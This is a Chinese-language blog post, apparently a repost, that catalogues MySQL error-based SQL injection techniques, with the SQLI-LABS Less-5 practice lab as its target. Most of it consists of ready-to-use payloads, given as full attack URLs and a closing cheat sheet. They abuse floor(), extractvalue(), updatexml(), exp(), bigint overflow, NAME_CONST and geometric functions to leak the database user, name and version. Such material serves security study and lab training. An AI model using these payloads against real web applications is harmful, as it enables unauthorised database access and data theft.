SQL注入之报错注入的一些随笔

admin 2021年8月21日04:48:09评论91 views字数 1986阅读6分37秒阅读模式

0x00.序言

关于报错注入的话虽然我在我之前的文章里面写了一些,但是sql注入的姿势实在是太多了。之前写过的payload不全也不系统。今天抽出时间来总结一下。

ps:关于报错注入的原理和使用的基本函数我在我之前的文章《SQLI-LABS修炼笔记(二)》中已经详细说过了,如果不懂可以去看看。

ps的ps:这里以SQLI-LABS的LESS-5为例题作为示范。

0x01.floor()报错注入

http://43.247.91.228:84/Less-5/?id=1′ union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a–+

0x02.extractvalue()报错注入

原理:xpath 函数报错注入

ps:(有长度限制,最长32位)

http://43.247.91.228:84/Less-5/?id=1′ and extractvalue(1,concat(0x7e,(select database()),0x7e))–+

0x03.updatexml()报错注入

ps:(有长度限制,最长32位)

http://43.247.91.228:84/Less-5/?id=1′ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+

 

0x04.exp()报错注入

原理:利用double 数值类型超出范围进行报错注入

http://43.247.91.228:84/Less-5/?id=1′ union select (exp(~(select * FROM(SELECT USER())a))),2,3–+

0x05.利用!来溢出报错注入

原理:利用bigint 溢出进行报错注入

http://43.247.91.228:84/Less-5/?id=1′ union select (!(select * from (select user())x) – ~0),2,3–+

0x06.NAME_CONST()

原理:利用数据的重复性。

http://43.247.91.228:84/Less-5/?id=1’union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x –+

0x07.总结

 

  1. floor()

    and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

    information_schema.tables group by x)a)

  2. updatexml()

    and 1=(updatexml(1,concat(0x3a,(select user())),1))

  3. extractvalue()

    and extractvalue(1,concat(0x5c,(select user())))

  4. exp()

    and exp(~(select * from(select user())a))

  5. multipoint()

    and multipoint((select * from(select * from(select user())a)b))

  6. geometrycollection()

    and geometrycollection((select * from(select * from(select user())a)b))

  7. polygon()

    and polygon((select * from(select * from(select user())a)b))

  8. multipolygon()

    and multipolygon((select * from(select * from(select user())a)b))

  9. linestring()

    and linestring((select * from(select * from(select user())a)b))

  10. multilinestring()

    and multilinestring((select * from(select * from(select user())a)b))

参考链接:

1.《mysql注入天书》

2.《MySQL暴错注入方法整理》

3.《代码审计:企业级Web代码安全架构》

相关推荐: SQLI-LABS修炼笔记(四)

写在前面:今天介绍基于时间的盲注。 我们利用延时注入进行,同时id 参数进行的是一定的处理。主要使用的函数有 if()、sleep()、BENCHMARK() 1.if语句/if()函数 在基于时间型SQL盲注中,我们经常使用条件语句来判断我们的操作是否正确:…

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月21日04:48:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入之报错注入的一些随笔http://cn-sec.com/archives/466837.html

发表评论

匿名网友 填写信息